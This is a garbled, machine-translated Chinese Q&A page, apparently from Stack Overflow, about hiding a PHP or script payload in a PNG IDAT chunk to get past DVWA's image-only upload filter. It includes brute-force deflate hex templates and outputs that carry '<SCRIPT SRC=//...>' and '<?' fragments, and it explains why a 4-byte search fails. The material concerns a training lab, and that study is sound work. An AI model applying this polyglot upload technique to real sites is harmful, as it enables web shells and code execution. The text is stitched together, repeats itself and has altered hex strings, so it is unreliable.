PNG上的PHP shell';s IDAT块

PNG上的PHP shell';s IDAT块,php,perl,zlib,deflate,Php,Perl,Zlib,Deflate,我正在研究DVWA关于文件上传的高漏洞。我想绕过这个过滤器,它只允许上传像jpg或png这样的图像。因此,我计划在PNG的IDAT块上嵌入负载嵌入,该负载通过IDAT上的过滤器和压缩保存下来。从存储库中,我找到了先前由f1n1te/idontplaydarts博客描述的bruteforce()逻辑。我复制源代码,并尝试使用我的有效负载强制压缩,但在符号字符上失败。根据来源/生成器,我有两个问题: 为什么启用,bruteforce失败于符号“bruteforce失败是因为它太短。您需要5个字节,而

我正在研究DVWA关于文件上传的高漏洞。我想绕过这个过滤器,它只允许上传像jpg或png这样的图像。因此,我计划在PNG的IDAT块上嵌入负载
嵌入,该负载通过IDAT上的过滤器和压缩保存下来。从存储库中,我找到了先前由f1n1te/idontplaydarts博客描述的bruteforce()逻辑。我复制源代码,并尝试使用我的有效负载强制压缩,但在符号字符上失败。根据来源/生成器,我有两个问题:


  • 为什么启用,bruteforce失败于符号“bruteforce失败是因为它太短。您需要5个字节,而不仅仅是4个。我用箭头标记了额外的数字

    0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
    0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"
    0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"
                                        ↑
    

    0000F3992819221111510691928276E6E…1f576e69b16375535b6f0000您的模板
    0000F3992819221111510691928276E6E511121F576E69B16375535B6F0000“x\234c`\370\3\3\0w\314\10)”
    
    0000F3992819221111510691928276E6E576F576E69B16375535B6F0000“x\234c`\370Hi@daxim,我已经修复了我的代码,但似乎仍停留在bruteforce4上(我仍在处理它)。你们在失败之前是对的,因为它太短了,而且格式说明符有错误。到现在为止,我做暴力修复暴力修复需要几个小时。顺便问一下,你怎么知道我的模板上需要5个字节。而且你用箭头标记的小点的位置非常惊人,我没有意识到。
    0000f3992281922111151069192827576f5111221e1c2e12626b6f5f576e69b16375535b6f0000
    ↔ <代码>x\234c\140\370您是如何在代码第17行的$brute变量之间获得前缀和后缀的?您是如何在代码第17行的$brute变量之间获得前缀和后缀的
    0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
    0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"
    0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"
                                        ↑